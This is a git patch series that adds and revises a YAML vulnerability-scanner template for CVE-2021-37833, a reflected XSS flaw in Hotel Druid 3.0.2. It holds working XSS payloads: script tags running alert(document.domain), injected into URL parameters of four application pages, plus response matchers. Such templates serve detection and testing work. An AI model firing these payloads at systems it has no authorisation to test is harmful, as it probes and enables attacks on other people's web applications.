From 796093ae5df86d2d5c19e44674cb0be5efd6338b Mon Sep 17 00:00:00 2001 From: PikPikcU <60111811+pikpikcu@users.noreply.github.com> Date: Wed, 15 Sep 2021 11:26:23 +0700 Subject: [PATCH 1/3] Create CVE-2021-37833.yaml --- cves/2021/CVE-2021-37833.yaml | 36 +++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) create mode 100644 cves/2021/CVE-2021-37833.yaml diff --git a/cves/2021/CVE-2021-37833.yaml b/cves/2021/CVE-2021-37833.yaml new file mode 100644 index 0000000000..e720ad1081 --- /dev/null +++ b/cves/2021/CVE-2021-37833.yaml @@ -0,0 +1,36 @@ +id: CVE-2021-37833 + +info: + name: Hotel Druid 3.0.2 XSS + author: pikpikcu + severity: medium + descreption: reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. + reference: + - https://github.com/dievus/CVE-2021-37833 + - https://nvd.nist.gov/vuln/detail/CVE-2021-37833 + tags: cves,cve2021,hotel-druid,xss + +requests: + - method: GET + path: + - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b">w5px3=1' + - '{{BaseURL}}/storia_soldi.php?piu17">e3esq=1' + - '{{BaseURL}}/tabella.php?jkuh3">yql8b=1' + - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ef9xkbujgt24&form_availability_calendar_template=1' + + matchers-condition: and + matchers: + + - type: word + words: + - '' + part: body + + - type: word + words: + - 'Content-Type: text/html' + part: header + + - type: status + status: + - 200 From fde477de48b219c1d78853dd8981c2cc9e4e9edf Mon Sep 17 00:00:00 2001 From: PikPikcU <60111811+pikpikcu@users.noreply.github.com> Date: Wed, 15 Sep 2021 11:32:11 +0700 Subject: [PATCH 2/3] Update CVE-2021-37833.yaml --- cves/2021/CVE-2021-37833.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cves/2021/CVE-2021-37833.yaml b/cves/2021/CVE-2021-37833.yaml index e720ad1081..da7b18b64c 100644 --- a/cves/2021/CVE-2021-37833.yaml +++ b/cves/2021/CVE-2021-37833.yaml @@ -4,7 +4,7 @@ info: name: Hotel Druid 3.0.2 XSS author: pikpikcu severity: medium - descreption: reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. + description: reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. reference: - https://github.com/dievus/CVE-2021-37833 - https://nvd.nist.gov/vuln/detail/CVE-2021-37833 From 1ba6b92a13a5e09e674f4adacd9462b12b4ea491 Mon Sep 17 00:00:00 2001 From: Prince Chaddha Date: Thu, 16 Sep 2021 22:58:05 +0530 Subject: [PATCH 3/3] Update CVE-2021-37833.yaml --- cves/2021/CVE-2021-37833.yaml | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) diff --git a/cves/2021/CVE-2021-37833.yaml b/cves/2021/CVE-2021-37833.yaml index da7b18b64c..4b98f8b51a 100644 --- a/cves/2021/CVE-2021-37833.yaml +++ b/cves/2021/CVE-2021-37833.yaml @@ -4,32 +4,33 @@ info: name: Hotel Druid 3.0.2 XSS author: pikpikcu severity: medium - description: reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. + description: Reflected cross-site scripting (XSS) vulnerability exists in multiple pages in version 3.0.2 of the Hotel Druid application that allows for arbitrary execution of JavaScript commands. reference: - https://github.com/dievus/CVE-2021-37833 - https://nvd.nist.gov/vuln/detail/CVE-2021-37833 - tags: cves,cve2021,hotel-druid,xss + tags: cve,cve2021,hoteldruid,xss requests: - method: GET path: - - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b">w5px3=1' - - '{{BaseURL}}/storia_soldi.php?piu17">e3esq=1' - - '{{BaseURL}}/tabella.php?jkuh3">yql8b=1' - - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Ef9xkbujgt24&form_availability_calendar_template=1' + - '{{BaseURL}}/visualizza_tabelle.php?anno=2021&tipo_tabella=prenotazioni&sel_tab_prenota=tutte&wo03b%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ew5px3=1' + - '{{BaseURL}}/storia_soldi.php?piu17%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ee3esq=1' + - '{{BaseURL}}/tabella.php?jkuh3%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Eyql8b=1' + - '{{BaseURL}}/crea_modelli.php?anno=2021&id_sessione=&fonte_dati_conn=attuali&T_PHPR_DB_TYPE=postgresql&T_PHPR_DB_NAME=%C2%9E%C3%A9e&T_PHPR_DB_HOST=localhost&T_PHPR_DB_PORT=5432&T_PHPR_DB_USER=%C2%9E%C3%A9e&T_PHPR_DB_PASS=%C2%9E%C3%A9e&T_PHPR_LOAD_EXT=NO&T_PHPR_TAB_PRE=%C2%9E%C3%A9e&anno_modello=2021&lingua_modello=en&cambia_frasi=SIipq85%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ef9xkbujgt24&form_availability_calendar_template=1' + stop-at-first-match: true matchers-condition: and matchers: - type: word words: - - '' + - '' part: body - type: word - words: - - 'Content-Type: text/html' part: header + words: + - text/html - type: status status: